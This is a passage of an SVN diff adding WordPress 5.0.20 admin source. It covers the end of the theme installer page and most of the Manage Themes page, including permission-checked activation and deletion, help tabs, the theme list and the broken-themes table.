+foreach ( $installed_themes as $k => $v ) {
+	if ( false !== strpos( $k, '/' ) ) {
+		unset( $installed_themes[ $k ] );
+	}
+}
+
+wp_localize_script( 'theme', '_wpThemeSettings', array(
+	'themes'   => false,
+	'settings' => array(
+		'isInstall'  => true,
+		'canInstall' => current_user_can( 'install_themes' ),
+		'installURI' => current_user_can( 'install_themes' ) ? self_admin_url( 'theme-install.php' ) : null,
+		'adminUrl'   => parse_url( self_admin_url(), PHP_URL_PATH )
+	),
+	'l10n' => array(
+		'addNew'              => __( 'Add New Theme' ),
+		'search'              => __( 'Search Themes' ),
+		'searchPlaceholder'   => __( 'Search themes...' ), // placeholder (no ellipsis)
+		'upload'              => __( 'Upload Theme' ),
+		'back'                => __( 'Back' ),
+		'error'               => sprintf(
+			/* translators: %s: support forums URL */
+			__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
+			__( 'https://wordpress.org/support/' )
+		),
+		'tryAgain'            => __( 'Try Again' ),
+		'themesFound'         => __( 'Number of Themes found: %d' ),
+		'noThemesFound'       => __( 'No themes found. Try a different search.' ),
+		'collapseSidebar'     => __( 'Collapse Sidebar' ),
+		'expandSidebar'       => __( 'Expand Sidebar' ),
+		/* translators: accessibility text */
+		'selectFeatureFilter' => __( 'Select one or more Theme features to filter by' ),
+	),
+	'installedThemes' => array_keys( $installed_themes ),
+) );
+
+wp_enqueue_script( 'theme' );
+wp_enqueue_script( 'updates' );
+
+if ( $tab ) {
+	/**
+	 * Fires before each of the tabs are rendered on the Install Themes page.
+	 *
+	 * The dynamic portion of the hook name, `$tab`, refers to the current
+	 * theme installation tab. Possible values are 'dashboard', 'search', 'upload',
+	 * 'featured', 'new', or 'updated'.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( "install_themes_pre_{$tab}" );
+}
+
+$help_overview =
+	'<p>' . sprintf(
+			/* translators: %s: Theme Directory URL */
+			__( 'You can find additional themes for your site by using the Theme Browser/Installer on this screen, which will display themes from the <a href="%s">WordPress Theme Directory</a>. These themes are designed and developed by third parties, are available free of charge, and are compatible with the license WordPress uses.' ),
+			__( 'https://wordpress.org/themes/' )
+		) . '</p>' .
+	'<p>' . __( 'You can Search for themes by keyword, author, or tag, or can get more specific and search by criteria listed in the feature filter.' ) . ' <span id="live-search-desc">' . __( 'The search results will be updated as you type.' ) . '</span></p>' .
+	'<p>' . __( 'Alternately, you can browse the themes that are Featured, Popular, or Latest. When you find a theme you like, you can preview it or install it.' ) . '</p>' .
+	'<p>' . sprintf(
+			/* translators: %s: /wp-content/themes */
+			__( 'You can Upload a theme manually if you have already downloaded its ZIP archive onto your computer (make sure it is from a trusted and original source). You can also do it the old-fashioned way and copy a downloaded theme&#8217;s folder via FTP into your %s directory.' ),
+			'<code>/wp-content/themes</code>'
+		) . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => $help_overview
+) );
+
+$help_installing =
+	'<p>' . __('Once you have generated a list of themes, you can preview and install any of them. Click on the thumbnail of the theme you&#8217;re interested in previewing. It will open up in a full-screen Preview page to give you a better idea of how that theme will look.') . '</p>' .
+	'<p>' . __('To install the theme so you can preview it with your site&#8217;s content and customize its theme options, click the "Install" button at the top of the left-hand pane. The theme files will be downloaded to your website automatically. When this is complete, the theme is now available for activation, which you can do by clicking the "Activate" link, or by navigating to your Manage Themes screen and clicking the "Live Preview" link under any installed theme&#8217;s thumbnail image.') . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'installing',
+	'title'   => __('Previewing and Installing'),
+	'content' => $help_installing
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Using_Themes#Adding_New_Themes">Documentation on Adding New Themes</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+include(ABSPATH . 'wp-admin/admin-header.php');
+
+?>
+<div class="wrap">
+	<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>
+
+	<?php
+
+	/**
+	 * Filters the tabs shown on the Add Themes screen.
+	 *
+	 * This filter is for backward compatibility only, for the suppression of the upload tab.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $tabs The tabs shown on the Add Themes screen. Default is 'upload'.
+	 */
+	$tabs = apply_filters( 'install_themes_tabs', array( 'upload' => __( 'Upload Theme' ) ) );
+	if ( ! empty( $tabs['upload'] ) && current_user_can( 'upload_themes' ) ) {
+		echo ' <button type="button" class="upload-view-toggle page-title-action hide-if-no-js" aria-expanded="false">' . __( 'Upload Theme' ) . '</button>';
+	}
+	?>
+
+	<hr class="wp-header-end">
+
+	<div class="error hide-if-js">
+		<p><?php _e( 'The Theme Installer screen requires JavaScript.' ); ?></p>
+	</div>
+
+	<div class="upload-theme">
+	<?php install_themes_upload(); ?>
+	</div>
+
+	<h2 class="screen-reader-text hide-if-no-js"><?php _e( 'Filter themes list' ); ?></h2>
+
+	<div class="wp-filter hide-if-no-js">
+		<div class="filter-count">
+			<span class="count theme-count"></span>
+		</div>
+
+		<ul class="filter-links">
+			<li><a href="#" data-sort="featured"><?php _ex( 'Featured', 'themes' ); ?></a></li>
+			<li><a href="#" data-sort="popular"><?php _ex( 'Popular', 'themes' ); ?></a></li>
+			<li><a href="#" data-sort="new"><?php _ex( 'Latest', 'themes' ); ?></a></li>
+			<li><a href="#" data-sort="favorites"><?php _ex( 'Favorites', 'themes' ); ?></a></li>
+		</ul>
+
+		<button type="button" class="button drawer-toggle" aria-expanded="false"><?php _e( 'Feature Filter' ); ?></button>
+
+		<form class="search-form"></form>
+
+		<div class="favorites-form">
+			<?php
+			$action = 'save_wporg_username_' . get_current_user_id();
+			if ( isset( $_GET['_wpnonce'] ) && wp_verify_nonce( wp_unslash( $_GET['_wpnonce'] ), $action ) ) {
+				$user = isset( $_GET['user'] ) ? wp_unslash( $_GET['user'] ) : get_user_option( 'wporg_favorites' );
+				update_user_meta( get_current_user_id(), 'wporg_favorites', $user );
+			} else {
+				$user = get_user_option( 'wporg_favorites' );
+			}
+			?>
+			<p class="install-help"><?php _e( 'If you have marked themes as favorites on WordPress.org, you can browse them here.' ); ?></p>
+
+			<p>
+				<label for="wporg-username-input"><?php _e( 'Your WordPress.org username:' ); ?></label>
+				<input type="hidden" id="wporg-username-nonce" name="_wpnonce" value="<?php echo esc_attr( wp_create_nonce( $action ) ); ?>" />
+				<input type="search" id="wporg-username-input" value="<?php echo esc_attr( $user ); ?>" />
+				<input type="button" class="button favorites-form-submit" value="<?php esc_attr_e( 'Get Favorites' ); ?>" />
+			</p>
+		</div>
+
+		<div class="filter-drawer">
+			<div class="buttons">
+				<button type="button" class="apply-filters button"><?php _e( 'Apply Filters' ); ?><span></span></button>
+				<button type="button" class="clear-filters button" aria-label="<?php esc_attr_e( 'Clear current filters' ); ?>"><?php _e( 'Clear' ); ?></button>
+			</div>
+		<?php
+		$feature_list = get_theme_feature_list( false ); // Use the core list, rather than the .org API, due to inconsistencies and to ensure tags are translated.
+		foreach ( $feature_list as $feature_name => $features ) {
+			echo '<fieldset class="filter-group">';
+			$feature_name = esc_html( $feature_name );
+			echo '<legend>' . $feature_name . '</legend>';
+			echo '<div class="filter-group-feature">';
+			foreach ( $features as $feature => $feature_name ) {
+				$feature = esc_attr( $feature );
+				echo '<input type="checkbox" id="filter-id-' . $feature . '" value="' . $feature . '" /> ';
+				echo '<label for="filter-id-' . $feature . '">' . $feature_name . '</label>';
+			}
+			echo '</div>';
+			echo '</fieldset>';
+		}
+		?>
+			<div class="buttons">
+				<button type="button" class="apply-filters button"><?php _e( 'Apply Filters' ); ?><span></span></button>
+				<button type="button" class="clear-filters button" aria-label="<?php esc_attr_e( 'Clear current filters' ); ?>"><?php _e( 'Clear' ); ?></button>
+			</div>
+			<div class="filtered-by">
+				<span><?php _e( 'Filtering by:' ); ?></span>
+				<div class="tags"></div>
+				<button type="button" class="button-link edit-filters"><?php _e( 'Edit Filters' ); ?></button>
+			</div>
+		</div>
+	</div>
+	<h2 class="screen-reader-text hide-if-no-js"><?php _e( 'Themes list' ); ?></h2>
+	<div class="theme-browser content-filterable"></div>
+	<div class="theme-install-overlay wp-full-overlay expanded"></div>
+
+	<p class="no-themes"><?php _e( 'No themes found. Try a different search.' ); ?></p>
+	<span class="spinner"></span>
+
+<?php
+if ( $tab ) {
+	/**
+	 * Fires at the top of each of the tabs on the Install Themes page.
+	 *
+	 * The dynamic portion of the hook name, `$tab`, refers to the current
+	 * theme installation tab. Possible values are 'dashboard', 'search', 'upload',
+	 * 'featured', 'new', or 'updated'.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param int $paged Number of the current page of results being viewed.
+	 */
+	do_action( "install_themes_{$tab}", $paged );
+}
+?>
+</div>
+
+<script id="tmpl-theme" type="text/template">
+	<# if ( data.screenshot_url ) { #>
+		<div class="theme-screenshot">
+			<img src="{{ data.screenshot_url }}" alt="" />
+		</div>
+	<# } else { #>
+		<div class="theme-screenshot blank"></div>
+	<# } #>
+	<span class="more-details"><?php _ex( 'Details &amp; Preview', 'theme' ); ?></span>
+	<div class="theme-author">
+		<?php
+		/* translators: %s: Theme author name */
+		printf( __( 'By %s' ), '{{ data.author }}' );
+		?>
+	</div>
+
+	<div class="theme-id-container">
+		<h3 class="theme-name">{{ data.name }}</h3>
+
+		<div class="theme-actions">
+			<# if ( data.installed ) { #>
+				<?php
+				/* translators: %s: Theme name */
+				$aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' );
+				?>
+				<# if ( data.activate_url ) { #>
+					<a class="button button-primary activate" href="{{ data.activate_url }}" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Activate' ); ?></a>
+				<# } #>
+				<# if ( data.customize_url ) { #>
+					<a class="button load-customize" href="{{ data.customize_url }}"><?php _e( 'Live Preview' ); ?></a>
+				<# } else { #>
+					<button class="button preview install-theme-preview"><?php _e( 'Preview' ); ?></button>
+				<# } #>
+			<# } else { #>
+				<?php
+				/* translators: %s: Theme name */
+				$aria_label = sprintf( __( 'Install %s' ), '{{ data.name }}' );
+				?>
+				<a class="button button-primary theme-install" data-name="{{ data.name }}" data-slug="{{ data.id }}" href="{{ data.install_url }}" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Install' ); ?></a>
+				<button class="button preview install-theme-preview"><?php _e( 'Preview' ); ?></button>
+			<# } #>
+		</div>
+	</div>
+
+	<# if ( data.installed ) { #>
+		<div class="notice notice-success notice-alt"><p><?php _ex( 'Installed', 'theme' ); ?></p></div>
+	<# } #>
+</script>
+
+<script id="tmpl-theme-preview" type="text/template">
+	<div class="wp-full-overlay-sidebar">
+		<div class="wp-full-overlay-header">
+			<button class="close-full-overlay"><span class="screen-reader-text"><?php _e( 'Close' ); ?></span></button>
+			<button class="previous-theme"><span class="screen-reader-text"><?php _ex( 'Previous', 'Button label for a theme' ); ?></span></button>
+			<button class="next-theme"><span class="screen-reader-text"><?php _ex( 'Next', 'Button label for a theme' ); ?></span></button>
+			<# if ( data.installed ) { #>
+				<a class="button button-primary activate" href="{{ data.activate_url }}"><?php _e( 'Activate' ); ?></a>
+			<# } else { #>
+				<a href="{{ data.install_url }}" class="button button-primary theme-install" data-name="{{ data.name }}" data-slug="{{ data.id }}"><?php _e( 'Install' ); ?></a>
+			<# } #>
+		</div>
+		<div class="wp-full-overlay-sidebar-content">
+			<div class="install-theme-info">
+				<h3 class="theme-name">{{ data.name }}</h3>
+					<span class="theme-by">
+						<?php
+						/* translators: %s: Theme author name */
+						printf( __( 'By %s' ), '{{ data.author }}' );
+						?>
+					</span>
+
+					<img class="theme-screenshot" src="{{ data.screenshot_url }}" alt="" />
+
+					<div class="theme-details">
+						<# if ( data.rating ) { #>
+							<div class="theme-rating">
+								{{{ data.stars }}}
+								<span class="num-ratings">({{ data.num_ratings }})</span>
+							</div>
+						<# } else { #>
+							<span class="no-rating"><?php _e( 'This theme has not been rated yet.' ); ?></span>
+						<# } #>
+						<div class="theme-version">
+							<?php
+							/* translators: %s: Theme version */
+							printf( __( 'Version: %s' ), '{{ data.version }}' );
+							?>
+						</div>
+						<div class="theme-description">{{{ data.description }}}</div>
+					</div>
+				</div>
+			</div>
+			<div class="wp-full-overlay-footer">
+				<button type="button" class="collapse-sidebar button" aria-expanded="true" aria-label="<?php esc_attr_e( 'Collapse Sidebar' ); ?>">
+					<span class="collapse-sidebar-arrow"></span>
+					<span class="collapse-sidebar-label"><?php _e( 'Collapse' ); ?></span>
+				</button>
+			</div>
+		</div>
+		<div class="wp-full-overlay-main">
+		<iframe src="{{ data.preview_url }}" title="<?php esc_attr_e( 'Preview' ); ?>"></iframe>
+	</div>
+</script>
+
+<?php
+wp_print_request_filesystem_credentials_modal();
+wp_print_admin_notice_templates();
+
+include(ABSPATH . 'wp-admin/admin-footer.php');
Index: /tags/5.0.20/src/wp-admin/themes.php
===================================================================
--- /tags/5.0.20/src/wp-admin/themes.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/themes.php	(revision 56912)
@@ -0,0 +1,514 @@
+<?php
+/**
+ * Themes administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'switch_themes' ) && ! current_user_can( 'edit_theme_options' ) ) {
+	wp_die(
+		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+		'<p>' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '</p>',
+		403
+	);
+}
+
+if ( current_user_can( 'switch_themes' ) && isset($_GET['action'] ) ) {
+	if ( 'activate' == $_GET['action'] ) {
+		check_admin_referer('switch-theme_' . $_GET['stylesheet']);
+		$theme = wp_get_theme( $_GET['stylesheet'] );
+
+		if ( ! $theme->exists() || ! $theme->is_allowed() ) {
+			wp_die(
+				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
+				'<p>' . __( 'The requested theme does not exist.' ) . '</p>',
+				403
+			);
+		}
+
+		switch_theme( $theme->get_stylesheet() );
+		wp_redirect( admin_url('themes.php?activated=true') );
+		exit;
+	} elseif ( 'delete' == $_GET['action'] ) {
+		check_admin_referer('delete-theme_' . $_GET['stylesheet']);
+		$theme = wp_get_theme( $_GET['stylesheet'] );
+
+		if ( ! current_user_can( 'delete_themes' ) ) {
+			wp_die(
+				'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+				'<p>' . __( 'Sorry, you are not allowed to delete this item.' ) . '</p>',
+				403
+			);
+		}
+
+		if ( ! $theme->exists() ) {
+			wp_die(
+				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
+				'<p>' . __( 'The requested theme does not exist.' ) . '</p>',
+				403
+			);
+		}
+
+		$active = wp_get_theme();
+		if ( $active->get( 'Template' ) == $_GET['stylesheet'] ) {
+			wp_redirect( admin_url( 'themes.php?delete-active-child=true' ) );
+		} else {
+			delete_theme( $_GET['stylesheet'] );
+			wp_redirect( admin_url( 'themes.php?deleted=true' ) );
+		}
+		exit;
+	}
+}
+
+$title = __('Manage Themes');
+$parent_file = 'themes.php';
+
+// Help tab: Overview
+if ( current_user_can( 'switch_themes' ) ) {
+	$help_overview  = '<p>' . __( 'This screen is used for managing your installed themes. Aside from the default theme(s) included with your WordPress installation, themes are designed and developed by third parties.' ) . '</p>' .
+		'<p>' . __( 'From this screen you can:' ) . '</p>' .
+		'<ul><li>' . __( 'Hover or tap to see Activate and Live Preview buttons' ) . '</li>' .
+		'<li>' . __( 'Click on the theme to see the theme name, version, author, description, tags, and the Delete link' ) . '</li>' .
+		'<li>' . __( 'Click Customize for the current theme or Live Preview for any other theme to see a live preview' ) . '</li></ul>' .
+		'<p>' . __( 'The current theme is displayed highlighted as the first theme.' ) . '</p>' .
+		'<p>' . __( 'The search for installed themes will search for terms in their name, description, author, or tag.' ) . ' <span id="live-search-desc">' . __( 'The search results will be updated as you type.' ) . '</span></p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __( 'Overview' ),
+		'content' => $help_overview
+	) );
+} // switch_themes
+
+// Help tab: Adding Themes
+if ( current_user_can( 'install_themes' ) ) {
+	if ( is_multisite() ) {
+		$help_install = '<p>' . __('Installing themes on Multisite can only be done from the Network Admin section.') . '</p>';
+	} else {
+		$help_install = '<p>' . sprintf( __('If you would like to see more themes to choose from, click on the &#8220;Add New&#8221; button and you will be able to browse or search for additional themes from the <a href="%s">WordPress Theme Directory</a>. Themes in the WordPress Theme Directory are designed and developed by third parties, and are compatible with the license WordPress uses. Oh, and they&#8217;re free!'), __( 'https://wordpress.org/themes/' ) ) . '</p>';
+	}
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'adding-themes',
+		'title'   => __('Adding Themes'),
+		'content' => $help_install
+	) );
+} // install_themes
+
+// Help tab: Previewing and Customizing
+if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
+	$help_customize =
+		'<p>' . __( 'Tap or hover on any theme then click the Live Preview button to see a live preview of that theme and change theme options in a separate, full-screen view. You can also find a Live Preview button at the bottom of the theme details screen. Any installed theme can be previewed and customized in this way.' ) . '</p>'.
+		'<p>' . __( 'The theme being previewed is fully interactive &mdash; navigate to different pages to see how the theme handles posts, archives, and other page templates. The settings may differ depending on what theme features the theme being previewed supports. To accept the new settings and activate the theme all in one step, click the Publish &amp; Activate button above the menu.' ) . '</p>' .
+		'<p>' . __( 'When previewing on smaller monitors, you can use the collapse icon at the bottom of the left-hand pane. This will hide the pane, giving you more room to preview your site in the new theme. To bring the pane back, click on the collapse icon again.' ) . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'		=> 'customize-preview-themes',
+		'title'		=> __( 'Previewing and Customizing' ),
+		'content'	=> $help_customize
+	) );
+} // edit_theme_options && customize
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+	'<p>' . __( '<a href="https://codex.wordpress.org/Using_Themes">Documentation on Using Themes</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://wordpress.org/support/">Support Forums</a>' ) . '</p>'
+);
+
+if ( current_user_can( 'switch_themes' ) ) {
+	$themes = wp_prepare_themes_for_js();
+} else {
+	$themes = wp_prepare_themes_for_js( array( wp_get_theme() ) );
+}
+wp_reset_vars( array( 'theme', 'search' ) );
+
+wp_localize_script( 'theme', '_wpThemeSettings', array(
+	'themes'   => $themes,
+	'settings' => array(
+		'canInstall'    => ( ! is_multisite() && current_user_can( 'install_themes' ) ),
+		'installURI'    => ( ! is_multisite() && current_user_can( 'install_themes' ) ) ? admin_url( 'theme-install.php' ) : null,
+		'confirmDelete' => __( "Are you sure you want to delete this theme?\n\nClick 'Cancel' to go back, 'OK' to confirm the delete." ),
+		'adminUrl'      => parse_url( admin_url(), PHP_URL_PATH ),
+	),
+ 	'l10n' => array(
+ 		'addNew'            => __( 'Add New Theme' ),
+ 		'search'            => __( 'Search Installed Themes' ),
+ 		'searchPlaceholder' => __( 'Search installed themes...' ), // placeholder (no ellipsis)
+		'themesFound'       => __( 'Number of Themes found: %d' ),
+		'noThemesFound'     => __( 'No themes found. Try a different search.' ),
+  	),
+) );
+
+add_thickbox();
+wp_enqueue_script( 'theme' );
+wp_enqueue_script( 'updates' );
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+	<h1 class="wp-heading-inline"><?php esc_html_e( 'Themes' ); ?>
+		<span class="title-count theme-count"><?php echo ! empty( $_GET['search'] ) ? __( '&hellip;' ) : count( $themes ); ?></span>
+	</h1>
+
+	<?php if ( ! is_multisite() && current_user_can( 'install_themes' ) ) : ?>
+		<a href="<?php echo admin_url( 'theme-install.php' ); ?>" class="hide-if-no-js page-title-action"><?php echo esc_html_x( 'Add New', 'Add new theme' ); ?></a>
+	<?php endif; ?>
+
+	<form class="search-form"></form>
+
+	<hr class="wp-header-end">
+<?php
+if ( ! validate_current_theme() || isset( $_GET['broken'] ) ) : ?>
+<div id="message1" class="updated notice is-dismissible"><p><?php _e('The active theme is broken. Reverting to the default theme.'); ?></p></div>
+<?php elseif ( isset($_GET['activated']) ) :
+		if ( isset( $_GET['previewed'] ) ) { ?>
+		<div id="message2" class="updated notice is-dismissible"><p><?php _e( 'Settings saved and theme activated.' ); ?> <a href="<?php echo home_url( '/' ); ?>"><?php _e( 'Visit site' ); ?></a></p></div>
+		<?php } else { ?>
+<div id="message2" class="updated notice is-dismissible"><p><?php _e( 'New theme activated.' ); ?> <a href="<?php echo home_url( '/' ); ?>"><?php _e( 'Visit site' ); ?></a></p></div><?php
+		}
+	elseif ( isset($_GET['deleted']) ) : ?>
+<div id="message3" class="updated notice is-dismissible"><p><?php _e('Theme deleted.') ?></p></div>
+<?php elseif ( isset( $_GET['delete-active-child'] ) ) : ?>
+	<div id="message4" class="error"><p><?php _e( 'You cannot delete a theme while it has an active child theme.' ); ?></p></div>
+<?php
+endif;
+
+$ct = wp_get_theme();
+
+if ( $ct->errors() && ( ! is_multisite() || current_user_can( 'manage_network_themes' ) ) ) {
+	echo '<div class="error"><p>' . __( 'ERROR:' ) . ' ' . $ct->errors()->get_error_message() . '</p></div>';
+}
+
+/*
+// Certain error codes are less fatal than others. We can still display theme information in most cases.
+if ( ! $ct->errors() || ( 1 == count( $ct->errors()->get_error_codes() )
+	&& in_array( $ct->errors()->get_error_code(), array( 'theme_no_parent', 'theme_parent_invalid', 'theme_no_index' ) ) ) ) : ?>
+*/
+
+	// Pretend you didn't see this.
+	$current_theme_actions = array();
+	if ( is_array( $submenu ) && isset( $submenu['themes.php'] ) ) {
+		foreach ( (array) $submenu['themes.php'] as $item) {
+			$class = '';
+			if ( 'themes.php' == $item[2] || 'theme-editor.php' == $item[2] || 0 === strpos( $item[2], 'customize.php' ) )
+				continue;
+			// 0 = name, 1 = capability, 2 = file
+			if ( ( strcmp($self, $item[2]) == 0 && empty($parent_file)) || ($parent_file && ($item[2] == $parent_file)) )
+				$class = ' current';
+			if ( !empty($submenu[$item[2]]) ) {
+				$submenu[$item[2]] = array_values($submenu[$item[2]]); // Re-index.
+				$menu_hook = get_plugin_page_hook($submenu[$item[2]][0][2], $item[2]);
+				if ( file_exists(WP_PLUGIN_DIR . "/{$submenu[$item[2]][0][2]}") || !empty($menu_hook))
+					$current_theme_actions[] = "<a class='button$class' href='admin.php?page={$submenu[$item[2]][0][2]}'>{$item[0]}</a>";
+				else
+					$current_theme_actions[] = "<a class='button$class' href='{$submenu[$item[2]][0][2]}'>{$item[0]}</a>";
+			} elseif ( ! empty( $item[2] ) && current_user_can( $item[1] ) ) {
+				$menu_file = $item[2];
+
+				if ( current_user_can( 'customize' ) ) {
+					if ( 'custom-header' === $menu_file ) {
+						$current_theme_actions[] = "<a class='button hide-if-no-customize$class' href='customize.php?autofocus[control]=header_image'>{$item[0]}</a>";
+					} elseif ( 'custom-background' === $menu_file ) {
+						$current_theme_actions[] = "<a class='button hide-if-no-customize$class' href='customize.php?autofocus[control]=background_image'>{$item[0]}</a>";
+					}
+				}
+
+				if ( false !== ( $pos = strpos( $menu_file, '?' ) ) ) {
+					$menu_file = substr( $menu_file, 0, $pos );
+				}
+
+				if ( file_exists( ABSPATH . "wp-admin/$menu_file" ) ) {
+					$current_theme_actions[] = "<a class='button$class' href='{$item[2]}'>{$item[0]}</a>";
+				} else {
+					$current_theme_actions[] = "<a class='button$class' href='themes.php?page={$item[2]}'>{$item[0]}</a>";
+				}
+			}
+		}
+	}
+
+?>
+
+<?php
+$class_name = 'theme-browser';
+if ( ! empty( $_GET['search'] ) ) {
+	$class_name .= ' search-loading';
+}
+?>
+<div class="<?php echo esc_attr( $class_name ); ?>">
+	<div class="themes wp-clearfix">
+
+<?php
+/*
+ * This PHP is synchronized with the tmpl-theme template below!
+ */
+
+foreach ( $themes as $theme ) :
+	$aria_action = esc_attr( $theme['id'] . '-action' );
+	$aria_name   = esc_attr( $theme['id'] . '-name' );
+	?>
+<div class="theme<?php if ( $theme['active'] ) echo ' active'; ?>" tabindex="0" aria-describedby="<?php echo $aria_action . ' ' . $aria_name; ?>">
+	<?php if ( ! empty( $theme['screenshot'][0] ) ) { ?>
+		<div class="theme-screenshot">
+			<img src="<?php echo $theme['screenshot'][0]; ?>" alt="" />
+		</div>
+	<?php } else { ?>
+		<div class="theme-screenshot blank"></div>
+	<?php } ?>
+
+	<?php if ( $theme['hasUpdate'] ) : ?>
+		<div class="update-message notice inline notice-warning notice-alt">
+		<?php if ( $theme['hasPackage'] ) : ?>
+			<p><?php _e( 'New version available. <button class="button-link" type="button">Update now</button>' ); ?></p>
+		<?php else : ?>
+			<p><?php _e( 'New version available.' ); ?></p>
+		<?php endif; ?>
+		</div>
+	<?php endif; ?>
+
+	<span class="more-details" id="<?php echo $aria_action; ?>"><?php _e( 'Theme Details' ); ?></span>
+	<div class="theme-author"><?php printf( __( 'By %s' ), $theme['author'] ); ?></div>
+
+	<div class="theme-id-container">
+		<?php if ( $theme['active'] ) { ?>
+			<h2 class="theme-name" id="<?php echo $aria_name; ?>">
+				<?php
+				/* translators: %s: theme name */
+				printf( __( '<span>Active:</span> %s' ), $theme['name'] );
+				?>
+			</h2>
+		<?php } else { ?>
+			<h2 class="theme-name" id="<?php echo $aria_name; ?>"><?php echo $theme['name']; ?></h2>
+		<?php } ?>
+
+		<div class="theme-actions">
+		<?php if ( $theme['active'] ) { ?>
+			<?php if ( $theme['actions']['customize'] && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { ?>
+				<a class="button button-primary customize load-customize hide-if-no-customize" href="<?php echo $theme['actions']['customize']; ?>"><?php _e( 'Customize' ); ?></a>
+			<?php } ?>
+		<?php } else { ?>
+			<?php
+			/* translators: %s: Theme name */
+			$aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' );
+			?>
+			<a class="button activate" href="<?php echo $theme['actions']['activate']; ?>" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Activate' ); ?></a>
+			<?php if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { ?>
+				<a class="button button-primary load-customize hide-if-no-customize" href="<?php echo $theme['actions']['customize']; ?>"><?php _e( 'Live Preview' ); ?></a>
+			<?php } ?>
+		<?php } ?>
+
+		</div>
+	</div>
+</div>
+<?php endforeach; ?>
+	</div>
+</div>
+<div class="theme-overlay" tabindex="0" role="dialog" aria-label="<?php esc_attr_e( 'Theme Details' ); ?>"></div>
+
+<p class="no-themes"><?php _e( 'No themes found. Try a different search.' ); ?></p>
+
+<?php
+// List broken themes, if any.
+if ( ! is_multisite() && current_user_can('edit_themes') && $broken_themes = wp_get_themes( array( 'errors' => true ) ) ) {
+?>
+
+<div class="broken-themes">
+<h3><?php _e('Broken Themes'); ?></h3>
+<p><?php _e( 'The following themes are installed but incomplete.' ); ?></p>
+
+<?php
+$can_delete = current_user_can( 'delete_themes' );
+$can_install = current_user_can( 'install_themes' );
+?>
+<table>
+	<tr>
+		<th><?php _ex('Name', 'theme name'); ?></th>
+		<th><?php _e('Description'); ?></th>
+		<?php if ( $can_delete ) { ?>
+			<td></td>
+		<?php } ?>
+		<?php if ( $can_install ) { ?>
+			<td></td>
+		<?php } ?>
+	</tr>
+	<?php foreach ( $broken_themes as $broken_theme ) : ?>
+		<tr>
+			<td><?php echo $broken_theme->get( 'Name' ) ? $broken_theme->display( 'Name' ) : esc_html( $broken_theme->get_stylesheet() ); ?></td>
+			<td><?php echo $broken_theme->errors()->get_error_message(); ?></td>
+			<?php
+			if ( $can_delete ) {
+				$stylesheet = $broken_theme->get_stylesheet();
+				$delete_url = add_query_arg( array(
+					'action'     => 'delete',
+					'stylesheet' => urlencode( $stylesheet ),
+				), admin_url( 'themes.php' ) );
+				$delete_url = wp_nonce_url( $delete_url, 'delete-theme_' . $stylesheet );
+				?>
+				<td><a href="<?php echo esc_url( $delete_url ); ?>" class="button delete-theme"><?php _e( 'Delete' ); ?></a></td>
+				<?php
+			}
+
+			if ( $can_install && 'theme_no_parent' === $broken_theme->errors()->get_error_code() ) {
+				$parent_theme_name = $broken_theme->get( 'Template' );
+				$parent_theme = themes_api( 'theme_information', array( 'slug' => urlencode( $parent_theme_name ) ) );
+
+				if ( ! is_wp_error( $parent_theme ) ) {
+					$install_url = add_query_arg( array(
+						'action' => 'install-theme',
+						'theme'  => urlencode( $parent_theme_name ),
+					), admin_url( 'update.php' ) );
+					$install_url = wp_nonce_url( $install_url, 'install-theme_' . $parent_theme_name );
+					?>
+					<td><a href="<?php echo esc_url( $install_url ); ?>" class="button install-theme"><?php _e( 'Install Parent Theme' ); ?></a></td>
+					<?php
+				}
+			}
+			?>
+		</tr>
+	<?php endforeach; ?>
+</table>
+</div>
+
+<?php
+}
+?>
+</div><!-- .wrap -->
+
+<?php
+/*
+ * The tmpl-theme template is synchronized with PHP above!
+ */
+?>
+<script id="tmpl-theme" type="text/template">
+	<# if ( data.screenshot[0] ) { #>
+		<div class="theme-screenshot">
+			<img src="{{ data.screenshot[0] }}" alt="" />
+		</div>
+	<# } else { #>
+		<div class="theme-screenshot blank"></div>
+	<# } #>
+
+	<# if ( data.hasUpdate ) { #>
+		<# if ( data.hasPackage ) { #>
+			<div class="update-message notice inline notice-warning notice-alt"><p><?php _e( 'New version available. <button class="button-link" type="button">Update now</button>' ); ?></p></div>
+		<# } else { #>
+			<div class="update-message notice inline notice-warning notice-alt"><p><?php _e( 'New version available.' ); ?></p></div>
+		<# } #>
+	<# } #>
